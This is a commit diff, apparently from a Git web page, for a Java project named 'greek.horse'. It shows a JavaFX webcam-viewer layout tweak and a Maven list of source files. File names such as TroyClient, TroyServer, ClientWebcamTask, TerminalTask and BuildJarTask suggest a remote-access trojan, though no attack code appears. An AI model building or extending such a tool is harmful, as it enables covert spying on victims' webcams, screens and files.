<BorderPane maxHeight="-Infinity" maxWidth="-Infinity" minHeight="421.0" minWidth="664.0" prefHeight="421.0" prefWidth="664.0" xmlns="http://javafx.com/javafx/11.0.1" xmlns:fx="http://javafx.com/fxml/1" fx:controller="greek.horse.server.ui.controllers.WebcamController">
<center>
<ImageView fx:id="imageView" fitHeight="150.0" fitWidth="200.0" onMousePressed="#mousePressed" onMouseReleased="#MouseReleased" pickOnBounds="true" smooth="false" BorderPane.alignment="CENTER">
<ImageView fx:id="imageView" fitHeight="150.0" fitWidth="200.0" pickOnBounds="true" smooth="false" BorderPane.alignment="CENTER">
<viewport>
<Rectangle2D />
</viewport>
@ -20,7 +20,7 @@
<bottom>
<HBox alignment="CENTER" prefHeight="35.0" prefWidth="600.0" BorderPane.alignment="CENTER">
<children>
<ChoiceBox fx:id="choiceBox" prefHeight="25.0" prefWidth="93.0">
<ChoiceBox fx:id="choiceBox" prefHeight="25.0" prefWidth="212.0">
<HBox.margin>
<Insets right="20.0" />
</HBox.margin>

40
target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst

@ -1,48 +1,52 @@
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\UserInput.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FunctionTicket.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\ChatUI.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\NetInfo.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\request\RecurrentTroyRequest.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\tasks\DesktopTask.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\RequestFunctionType.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\LockTask.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FileBrowserResponseWrapper.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FileBrowserTicket.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\test\Test.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\TerminalController.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\TroyClient.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\tasks\ClientChatTask.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\BrowserTicketType.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\ServerSocketManager.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\tasks\BuildJarTask.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FileType.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\formmaters\FormattedTableCellFactory.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\MonitorDesktopWrapper.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\formmaters\HorseRowFactory.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\MonitorDesktopController.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\TroyPlebe.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\tasks\FileBrowserTask.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\tasks\TerminalTask.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\TableFile.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FileData.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\Mode.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\FileBrowserController.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\tasks\MonitorDesktopTask.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\MessageType.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\tasks\WebcamTask.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\ChatController.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\request\UniqueTroyRequest.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\request\TroyRequest.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\ChatUI.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\tasks\DesktopTask.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FileBrowserResponseWrapper.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FileBrowserTicket.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\TerminalController.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\TroyClient.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\formmaters\FormattedTableCellFactory.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\MonitorDesktopWrapper.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\tasks\FileBrowserTask.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\WebcamController.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\formmaters\FileRowsFactory.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\ClientSocketManager.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FileData.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\Launcher.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\Mode.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\ChatApp.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\ClientTerminalTask.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\tasks\ChatForm.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\RequestFunction.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\NetInfoTable.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\FileStruct.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\FileBrowserController.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\Message.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\tasks\MonitorDesktopTask.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\MessageType.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\tasks\ChatTask.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\ChatController.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\client\tasks\ClientWebcamTask.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\WebcamInfoWrapper.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\OS.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\TroyServer.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\ui\controllers\HorseController.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\models\ImageUtil.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\request\UniqueTroyRequest.java
C:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\src\main\java\greek\horse\server\troyStructure\request\TroyRequest.java
Loading…
Cancel
Save